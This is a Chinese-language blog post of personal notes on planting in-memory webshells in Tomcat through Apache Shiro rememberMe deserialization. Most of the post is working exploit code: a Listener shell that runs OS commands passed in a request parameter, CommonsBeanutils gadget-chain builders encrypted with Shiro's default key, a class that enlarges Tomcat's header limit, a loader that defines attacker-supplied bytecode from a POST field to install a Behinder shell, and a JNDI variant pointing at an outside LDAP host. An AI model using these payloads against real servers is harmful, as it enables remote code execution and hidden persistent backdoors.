Java Shiro 反序列化内存马

前言:Filter、Listener内存马分析完了之后,这篇作为Shiro反序列化内存马的笔记

参考文章:https://xz.aliyun.com/t/10696

自己测试的环境只在Tomcat8/9 CommonsBeanutils依赖 里面进行了测试,其他的环境不一定可行,可能有点变化,但是自己也还没研究,一步步来...

Tomcat 获得ServletContext对象

之前自己记录都只是单纯的内存马实现,其中获取相关ServletContext有时候都是直接通过request对象来进行获取,而在反序列化的时候,并不会有直接的request相关对象可以进行获取,所以一般都是唯一存在的对象,再接着配合相关反射操作来进行来最终获取ServletContext,我这里大致总结下Tomcat中获取的ServletContext对象的方法

在jsp文件自带的变量如request等等里面找

比如写的就是jsp文件中,那么就可以直接通过自带的request变量来进行获取,其实如果是写在jsp文件中就已经说明这种攻击方式是落地的了,也说不上隐蔽了

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

或者

ServletContext servletContext = request.getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");  // 获取属性
appctx.setAccessible(true);

ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  //从servletContext中获取context属性->applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 获取属性
stdctx.setAccessible(true);

StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext

在没有request对象直接使用的时候,可以从Thread.currentThread()里面找

限制在于只可用于Tomcat 8 9

        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

从JMXMBeanServer的domainTb下面直接获取,我不会

....

获取StandardContext可以参考文章:https://xz.aliyun.com/t/9914

通过反序列化来注入Listener内存马

利用类(这个类的话是需要继承AbstractTranslet,因为反序列化在加载字节码执行命令之前会验证相关类是否为AbstractTranslet):

public class Memory2 extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Memory2() throws Exception {
        super();
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null){
            InputStream in = null;
            try {
                in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                request.getResponse().getWriter().write(out);
            }
            catch (IOException e) {}
            catch (NoSuchFieldException e) {}
            catch (IllegalAccessException e) {}
        }
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
    }
}

CommonsBeanutilsShiroMemory.java的内容,如下

public class CommonsBeanutilsShiroMemory {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Memory2.class.getName());
        byte[] payloads = new CommonsBeanutils2Shiro().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

注入演示:

其实这里看到执行的内容是在前面的内容之后,那是因为我实现的方法是requestDestroyed,这种方式其实也不大好,后面会讲到Tomcat回显相关的知识点,我们需要拿到request和response来进行完全控制

为什么Shiro反序列化注入内存马的时候不能使用Filter

别人说在shiro框架中,它自己实现了关于ShiroFilter对象,所以这里走不了自定义的Filter就已经被ShiroFilter已经进行了过滤

可惜的是我这边也证实不了,因为有些东西还没学,后面学了再补上

期间遇到的问题,当Filter内存马通过匿名类定义的时候,在反序列化的时候就会报权限问题,但是自己也不知道匿名类如何来设置访问权限,所以这个点我也解决不了

考虑到Filter匿名类的权限问题,所以自己这里就单独的创建一个Filter类来实例化进去

public class FilterMemory extends AbstractTranslet implements Filter

但是发送payload的时候,shiro报错,回显 ·Request header is too large·

Request header is too large 的解决1

对于Tomcat的request header的size限制是在org/apache/coyote/http11/AbstractHttp11Protocol.java#maxHttpHeaderSize 属性所控制的,如下图所示

这里如果想要在Shiro中想要对于header size比较大的序列化数据的话,就需要分为两步走

1、先通过反序列化来修改Tomcat自身默认的request header的size(这里的请求的size大小是小于默认值的)

2、然后再发送header size大的序列化数据

修改header size

实现代码如下:

public class Eval_TomcatHeaderSize extends AbstractTranslet {

    public Eval_TomcatHeaderSize(){
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext =
                    (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                    Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                    for (int j = 0; j < classes.length; j++) {
                        // org.apache.coyote.AbstractProtocol$ConnectionHandler
                        if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                            java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                            java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                            globalField.setAccessible(true);
                            processorsField.setAccessible(true);
                            org.apache.coyote.RequestGroupInfo requestGroupInfo =
                                    (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                            java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                            for (int k = 0; k < list.size(); k++) {
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                // 10000 为修改后的 headersize
                                headerSizeField.set(tempRequest.getInputBuffer(),50000);
                            }
                        }
                    }
                        // 10000 为修改后的 headersize
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(50000);
                    }
                }
            }
        } catch (Exception e) {

        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    /**
     * Main transform() method - this is overridden by the compiled translet
     *
     * @param document
     * @param iterator
     * @param handler
     */
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

内存马注入

这里重新再试下关于Shiro反序列化Filter内存马的问题,记得之前先改下Tomcat最大header请求的大小

public class CommonsBeanutilsTomcatHeader {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Eval_TomcatHeaderSize.class.getName());
        byte[] payloads = new CommonsBeanutilsTomcatHeader().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

上面的payload打过去之后,继续用filter的内存马payload,最后发现同样是可以执行命令的(我这里shiro环境不是基于spring)

这里可以来调试下,此时的Filterchains是如何走的,可以看到Filter是注入进去了

同样的这里也可以走到,此时的Filter内存马的位置的优先级是在最前面的,然后我这里想了下不知道其他人说为什么Filter不行,以后如果又遇到自己再来补上真正的原因吧

Request header is too large 的解决2 POST请求字节码

参考文章:https://xz.aliyun.com/t/10696#toc-8

这里举个tomcat中间件的情况下的例子,我们可以通过利用反序列化通过执行获取post中的相关字段的内容,然后将其字段的内容通过defineClass进行实例化注入内存马即可绕过tomcat header的限制,以下就是通过defineClass来注入冰蝎的一个shiro环境的演示

public class BypassHeader extends AbstractTranslet {

    public BypassHeader(){
        try{
            Object o;
            String s;
            String classData = null;
            boolean done = false;
            Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
            for (int i = 0; i < ts.length; i++) {
                Thread t = ts[i];
                if (t == null) {
                    continue;
                }
                s = t.getName();
                if (!s.contains("exec") && s.contains("http")) {
                    o = getFV(t, "target");
                    if (!(o instanceof Runnable)) {
                        continue;
                    }
                    try {
                        o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                    } catch (Exception e) {
                        continue;
                    }
                    java.util.List ps = (java.util.List) getFV(o, "processors");
                    for (int j = 0; j < ps.size(); j++) {
                        Object p = ps.get(j);
                        o = getFV(p, "req");

                        Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                        classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("postdata")});

                        byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                        java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                        defineClassMethod.setAccessible(true);
                        Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                        cc.newInstance();
                        done = true;

                        if (done) {
                            break;
                        }
                    }
                }
            }
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    /**
     * Main transform() method - this is overridden by the compiled translet
     *
     * @param document
     * @param iterator
     * @param handler
     */
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

将其上面的BypassHeader类进行shiro默认的rememberMe常规aes+base64加密流程即可,得到如下的数据

然后将要注入的冰蝎马的BehindFilter.class转化为url传输的数据,将下面编译成对应的class进行执行cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

package com.zpchcbd.shiro.postbypassheader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.zpchcbd.shiro.Eval_TomcatHeaderSize;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

/*
* TemplatesImpl
* CommonsBeanutils 1.8.3
* commons-collections4 4.0
* */
public class CommonsBeanutilsTomcatHeader {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(BypassHeader.class.getName());
        byte[] payloads = new CommonsBeanutilsTomcatHeader().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

Request header is too large 的解决3 jndi注入

如果目标是可以出网的,那么可以通过jndi注入来打入对应的内存马

    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    queue.add("1");
    queue.add("1");
    Reflections.setFieldValue(comparator, "property", "parameterMetaData");
    JdbcRowSetImpl test =  new com.sun.rowset.JdbcRowSetImpl();
    test.setDataSourceName("ldap://823s64b3.dns.1433.eu.org.");
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = test;
    return queue;

Request header is too large 的解决4 将class bytes使用gzip+base64压缩编码

参考文章:https://zhuanlan.zhihu.com/p/395443877

这个看不太懂在做什么,之后懂了再来补上好了

关于Tomcat回显的知识点和问题

这里想了下放Tomcat回显的文章中讲会比较好点,到时候再来继续演示,文章地址为:https://www.cnblogs.com/zpchcbd/p/15153518.html

关于Tomcat回显的request的对象如何寻找

这里是通过

posted @ 2021-08-20 17:57  zpchcbd  阅读(1920)  评论(0)    收藏  举报